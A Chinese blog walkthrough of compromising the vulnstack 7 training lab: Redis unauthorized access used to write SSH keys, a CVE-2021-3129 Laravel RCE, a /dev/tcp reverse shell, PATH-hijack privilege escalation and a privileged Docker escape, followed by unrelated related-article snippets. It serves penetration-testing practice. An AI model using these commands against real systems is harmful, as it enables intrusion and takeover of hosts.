红日靶场vulnstack 7靶机的测试报告[细节](一)
目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Redis未授权访问漏洞获取web1靶机系统权限
3、获取docker靶机系统权限
①Laravel框架漏洞利用getshell
②Laravel主机的提权&&docker容器逃逸
提权
Docker逃逸
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.128)
靶 机:
Ubuntu-web1[192.168.52.10(仅主机的52网段,配置好的固定IP)、192.168.200.129(nat网卡)];
Ubuntu-web2[192.168.52.20(仅主机的52网段,配置好的固定IP)、192.168.93.10(仅主机的93网段,配置好的固定IP)];
Win7-PC1[192.168.52.30(仅主机的52网段,配置好的固定IP)、192.168.93.20(仅主机的93网段,配置好的固定IP)];
WinServer-DC(192.168.93.30,仅主机的93网段,配置好的固定IP);
Win7-PC2(192.168.93.40,仅主机的93网段,配置好的固定IP)。
密码信息(默认密码):
- Ubuntu 1:web/web2021
- Ubuntu 2:ubuntu
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
通达OA账户:
admin:admin657260
2、注意事项
- 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务。
- Ubuntu 1需要启动nginx服务:
redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
- Ubuntu 2需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
- Win 7-PC1需要启动通达OA和nginx(否则外部访问不到):
C:\MYOA\bin\AutoConfig.exe
C:\MYOA\nginx\OfficeNginx.exe
而且,需要启用网络发现!!,要ubuntu1和2能ping到这台主机才可以
3、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)、ssh-kergen(生成ssh公钥私钥)、python3(临时web服务)
Redis Insight(redis数据库管理)、MDUT(数据库综合利用工具利用)、mobaxterm(进行ssh连接)、burp suite(发包测试)、CVE-2021-3129-EXP(漏洞利用poc)、godzilla v2.96(webshell连接)、中国蚁剑(webshell连接)、cdk(docker漏洞检测工具)
测试网址:http://192.168.200.129:81
后面两篇文章地址:
红日靶场vulnstack 7靶机的测试报告[细节](二)-CSDN博客文章浏览阅读572次,点赞24次,收藏10次。基于渗透测试流程测试vulnstack 7靶机;msf渗透;metasploit;meterpreter;内网渗透;通达OA;文件上传+文件包含;构造RCE漏洞。https://blog.csdn.net/2301_79698171/article/details/144503412?sharetype=blogdetail&sharerId=144503412&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118红日靶场vulnstack 7靶机的测试报告[细节](三)-CSDN博客文章浏览阅读322次,点赞11次,收藏5次。基于渗透测试流程渗透vulnstack 7靶场;二层内网代理;永恒之蓝;ms17-010;psexec上线;ipc通道;内网信息搜集;ATT&CK。
https://blog.csdn.net/2301_79698171/article/details/144508445?spm=1001.2014.3001.5501
二、测试目的
通过web渗透,利用redis和laravel的漏洞进行测试获取两台ubuntu主机的系统权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
web靶机IP:192.168.200.129
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.129
靶机开启了22端口(ssh服务)、80端口(web服务)、81端口(web服务)、6379端口(redis服务)
目录扫描
dirsearch -u http://192.168.200.129:81 -i 200,301 --exclude-sizes=0B
扫到了两个网页,但都没什么信息
2、Redis未授权访问漏洞获取web1靶机系统权限
信息搜集阶段发现靶机开启了redis的默认端口6379,nmap也识别该服务正是redis
使用redis数据库管理工具进行连接
发现直接就可以连接上去,没有认证
在控制台输入命令也有回显
info
在Redis 数据库服务存在未授权访问漏洞的情况下,常见的获取服务器 shel的方法一般有写SSH-keygen、写计划任务反弹shell、写webshell、利用主从复制获取shell等方式.可以通过Redis Insight 操作Redis手工获取服务器shell,也可以使用工具进行自动化获取shell。
使用MDUT数据库综合利用工具利用
项目地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization ToolsMDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.https://github.com/SafeGroceryStore/MDUT
先进行数据库连接
成功进行连接
该工具可以一键替换ssh公钥
需要先使用kali生成一份ssh公钥和私钥
ssh-keygen -t rsa
然后复制/root/.ssh/id_rsa.pub的内容到利用工具的公钥栏
cat /root/.ssh/id_rsa.pub
直接写入
靶机是开启了22端口的ssh服务的,接下来使用私钥进行ssh连接
私钥位置:/root/.ssh/id_rsa
复制一份出来即可,使用mobaxterm直接进行ssh私钥连接
可以看到成功连接,root权限
查看IP
外网IP:192.168.200.129
内网IP:192.168.52.10
3、获取docker靶机系统权限
需要注意的是,这个laravel框架是从内网主机映射到web主机的81端口的,因此这个docker容器来自于内网主机。
别问为什么,我也是踩了几个小时的坑才发现。
①Laravel框架漏洞利用getshell
访问web主页
可以看到laravel的版本是8.29.0 php版本是7.4.14
查找laravel框架的历史漏洞
https://www.seebug.org/search/?keywords=laravel
漏洞编号:SSV-99098
CVE-2021-3129
这个漏洞影响范围包括8.29.0版本
发送漏洞检测数据包poc,查看漏洞是否存在
POST / HTTP/1.1
Host:192.168.200.129:81
Content-Type: application/json
Content-Length: 167
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": (
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
发送数据包,返回如下页面:
这表示目标laravel开启了debug模式,存在RCE漏洞
漏洞利用exp可以在github下载:
GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用这个exp,打开cmd,输入url地址并运行exp
python laravel-CVE-2021-3129-EXP.py http://192.168.200.129:81
可以看到生成了webshell地址,这个使用godzilla(哥斯拉) v2.96进行连接
必须使用godzilla 2.96版本连接,4.01版就连不上了
查看靶机信息,发现靶机是linux系统,且有dockerenv文件
whoami
find / -name .dockerenv
确认是docker环境
cat /proc/self/cgroup
会列出当前docker容器ID信息
Docker容器中执行hostname命令,回显结果应与容器ID匹配
hostname
结果与容器ID前面12位一致,可以确认当前环境为docker环境
②Laravel主机的提权&&docker容器逃逸
提权
通过redis未授权漏洞,已经获取了web主机的root权限,尝试将docker的shell弹到web主机上。
在web主机开启监听
echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.52.10/6666 0>&1' > test.sh
bash test.sh
成功获取反弹shell,laravel框架的主机IP:192.168.52.20
通过laravel的RCE漏洞获取的webshell只是www-data权限,进行docker逃逸前要先提权
查找suid权限文件发现,jobs家目录有一个shell文件是suid权限
find / -perm -4000 -ls 2>/dev/null
执行shell文件,发现调用了ps命令
/home/jobs/shell
使用环境变量提权,构造一个ps命令调用/bin/bash,这样运行shell文件调用ps命令时就会以root身份执行/bin/bash了
echo '/bin/bash' > /tmp/ps
添加tmp目录到环境变量首位,这样执行命令会优先在tmp目录找命令执行
echo $PATH
export PATH="/tmp:$PATH"
echo $PATH
再次运行shell文件,验证权限,提权成功!
/home/jobs/shell
获取交互式shell
SHELL=/bin/bash script -q /dev/null
Docker逃逸
使用mobaxterm自带的网络扫描工具看一下
可以看到靶机开启了ssh服务
先上传cdk到web主机,并在web主机使用python开启临时web服务
python3 -m http.server 8888
在docker主机使用curl命令下载cdk
curl http://192.168.52.10:8888/cdk_linux_amd64 --output cdk
赋予文件执行权限并运行
chmod +x cdk
./cdk evaluate --full
可以看到特权模式是打开的,可以将物理机的文件挂载到docker容器进行利用
挂载命令:
mkdir /taoyi
mount /dev/sda1 /taoyi
cd /taoyi && ls -la
这样就会将物理机的文件挂载到docker容器
可以利用替换ssh公钥文件,实现ssh登录docker主机的物理机
.ssh目录(权限700);私钥权限600;~/.ssh/authorized_keys文件(权限600)
cd root
mkdir .ssh && chmod 700 .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCPIBEKJ+XPb3kENnFCySEV95FPT31k3Qc0o+zJHPpC7Rpna71oWow4mCo37AunRQ09pMTwfc9cWMLd6ulc0DpPK4IaZ0o42Gb0Dmb/TA8sxroCUPfS95ExkvKbAgy+M4IbJWs+UOMHez4keF4JUFaLaEfsE9587KiaOLBb3PgZ7CdKkUwMpCAnKyn78P483HRMzIgRjddjpmWMylilyA3qpDgezienPF7T/1BMfAHPYsJEF58vSv+j6Lt73z5KvmxcV/XXuIvna4WTQJjLe9HGeaHZnKTrxPNxQhxwvnh1/oS+28VvivRhPUINr9qXewwYJRec9JGkOjBdVH1tDemzqY7qbtZ1277Lpyesf6Z/gbGDj3PZr0ahzOq6PD+jmlhT7eSaKvc4pYXsZ6fZ6Ii6Gq0wtHSzUPM/E/IJB6y/d0EfbvzWkIX7/DoyeFO9DhW5UAHuCvyaBm9ONVy0fBcJUJcCUhcLQUs7GEzcjzpGzkf+/eclz4JAyYrnELkkzUU= root@hacker" > .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
私钥上传到web主机上,并赋予600权限
chmod 600 id_rsa
在web主机进行ssh连接到内网docker物理机
ssh root@192.168.52.20 -i id_rsa
成功连接!
这台机器也是两张网卡:
内网1:192.168.52.20
内网2:192.168.93.10
四、结论
redis未授权漏洞危害很大,可以直接无密码登录进行操作。laravel框架的历史版本漏洞也有很多漏洞可以利用。web服务器将内网主机的docker容器映射到了自身端口,允许外部访问。docker容器以特权模式启动时,可以进行docker逃逸。
这个靶场共五台主机,两层内网架构,都放在一篇文章的话,有些冗杂,分成三篇发送。
相关文章:

红日靶场vulnstack 7靶机的测试报告[细节](一)
目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Redis未授权访问漏洞获取web1靶机系统权限 3、获取docker靶机系统权限 ①Laravel框架漏洞利用getshell ②Laravel主机的提权&&docker容器逃逸 提权…...

ubuntu+ros新手笔记(二):古月·ROS2入门21讲学习笔记
系统ubuntu22.04 ros2 humble 按照如下视频教程学习的:【古月居】古月ROS2入门21讲 | 带你认识一个全新的机器人操作系统 此处仅记录我报错的地方,以及相应的解决方案,没有出错的略过! 对应的古月居ROS2入门21讲源码下载地址&a…...

Harmonyos之深浅模式适配
Harmonyos之换肤功能 概述实现原理颜色适配颜色资源配置工具类编写界面代码编写适配效果 概述 深色模式(Dark Mode)又称之为暗色模式,是与日常应用使用过程中的浅色模式(Light Mode)相对应的一种UI主题。 换肤功能应…...
牛客网 SQL2查询多列
SQL2查询多列 select device_id,gender,age,university //查询哪些字段 from user_profile //从哪个表中查找 每日问题 C 中面向对象编程如何处理异常? 在C中,面向对象编程(OOP)处理异常主要通过异常处理机制来实现。C 提供了…...

Angular由一个bug说起之十二:网页页面持续占用CPU过高
随着网络日益发达,网页的内容也更加丰富,形式也更加多样化。而随之而来的性能问题也不容小觑。这篇文章我会根据我在实践中遇到的一个问题来总结,我在面对性能问题的一些解决步骤,希望能对大家有所启发。 查找问题原因 我接触的…...

【从零开始入门unity游戏开发之——C#篇05】转义字符、@处理多行文本或者不使用转义字符、随机数
文章目录 一、转义字符1、什么是转义字符?2、常见的转义字符3、总结 二、使用处理多行文本或者不使用转义字符1、多行字符串2、不使用转义字符 三、随机数1、Random.Next()生成随机整数示例:生成一个随机整数生成指定范围内的随机整数 2、Random.NextSin…...

我们来对接蓝凌OA --报文格式
题记 数智化办公专家、国家高新技术企业、知识管理国家标准制定者、信创供应商10强…等等,这些和咱们有关系吗!!不好意思,走错片场了,刚和项目经理在甲方那边吹牛B想想刚刚的大饼,看看支付宝余额ÿ…...

旅游系统旅游小程序PHP+Uniapp
旅游门票预订系统,支持景点门票、导游产品便捷预订、美食打卡、景点分享、旅游笔记分享等综合系统 更新日志 V1.3.0 1、修复富文本标签 2、新增景点入驻【高级版本】3、新增门票核销【高级版】4、新增门票端口【高级版】...

Pytest-Bdd-Playwright 系列教程(15):背景(Background)
Pytest-Bdd-Playwright 系列教程(15):背景(Background) 前言一、什么是背景(Background)二、特性文件三、测试脚本四、运行测试总结 前言 在测试的过程中,我们往往会遇到这样的问题&…...
ionic V6 安装ios所需
npm install capacitor/ios添加ios平台 ruby要求3.0以上 rvm use ruby-3.1.0 --default npx cap add ios打开xcode看看创建的项目 npx cap open ios没有capacitor指定的位置, 估计之前pod(cocoapods)安装搞得Ruby环境很乱了......cocoapods整的我麻了... App/App/capacitor…...
3d模型展示-初探
由于工作原因,近一年没怎么写代码,有朋友问你做过3D模型展示吗,之前都是做以vue为框架做定制业务,这次抽时间试试3d模型展示。 软件功能 使用ThreeJS框架实现加载GLB模型,并添加动画效果,实现3d展示模型。…...

OpenLinkSaas 2025年1月开发计划
先来看看OpenLinkSaas的大目标 在OpenLinkSaas的产品目标中,让开发人员更加方便的使用云资源是目标之一。通过各大云厂商的API,来可视化云上基础设施的数据是远远不够的。我们准备在2025年1月份增加方便管理和运营研发场景下服务器的能力。 这部分的功能…...
C# 用封装dll 调用c++ dll 使用winapi
这里用c net 封装winapi函数 pch.h // pch.h: 这是预编译标头文件。 // 下方列出的文件仅编译一次,提高了将来生成的生成性能。 // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。 // 但是,如果此处列出的文件中的任何一个…...
XML基础学习
参考文章链接: XML基础学习 在w3school看到了XML的教程,想到以前工作学习中也接触到了XML,但只是简单搜索了解了下,没有认真去学习XML的基础,所以现在认真看下其基础部分,并写篇博客作为笔记记录下。 XML 简介 XML 被设计用来传输和存储数据。 什么是 XML? XML 指可…...

Jmeter直连数据库,jar包下载
运行报错信息:jmeter连接mysql异常:Cannot load JDBC driver class ‘com.mysql.jdbc.Driver‘ 1、下载地址: https://mvnrepository.com/artifact/mysql/mysql-connector-java/ 2、将下载好的jar包 (我的是:mysql-con…...

Unity读取、新建Excel表格
把dll资源解压后,全部导入到unity中的Plugins文件下面 资源放在标题下方,可以自行下载 使用教程 引入命名空间 using SimpleExcel;。这个命名空间下主要有两个类:WorkBook和Sheet。WorkBook用于对整个excel文件的操作,如创建、打开…...

智能高效的IDE GoLand v2024.3全新发布——支持最新Go语言
GoLand 使 Go 代码的阅读、编写和更改变得非常容易。即时错误检测和修复建议,通过一步撤消快速安全重构,智能代码完成,死代码检测和文档提示帮助所有 Go 开发人员,从新手到经验丰富的专业人士,创建快速、高效、和可靠的…...
OpenCV相机标定与3D重建(21)投影矩阵分解函数decomposeProjectionMatrix()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 将投影矩阵分解为旋转矩阵和相机内参矩阵。 cv::decomposeProjectionMatrix 是 OpenCV 库中的一个函数,用于将投影矩阵(…...
Flink State面试题和参考答案-(下)
如何监控 Flink 作业的状态大小? 监控 Flink 作业的状态大小是确保作业性能和稳定性的重要方面。以下是一些监控状态大小的方法: 使用 Flink Web UI: Flink 提供了一个 Web 用户界面,可以展示作业的当前状态大小,包括每个操作符…...
111.【C语言】数据结构之二叉树的销毁函数
目录 1.知识回顾 2.分析 3.代码 后序遍历销毁(最简洁) 前序遍历销毁(不推荐) 中序遍历销毁(不推荐) 4.将函数嵌入main函数中执行 1.知识回顾 106.【C语言】数据结构之二叉树的三种递归遍历方式 2.分析 销毁二叉树需要按照一定的顺序去销毁,例如:先销毁根还是先销毁根…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

【7色560页】职场可视化逻辑图高级数据分析PPT模版
7种色调职场工作汇报PPT,橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版:职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...

【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...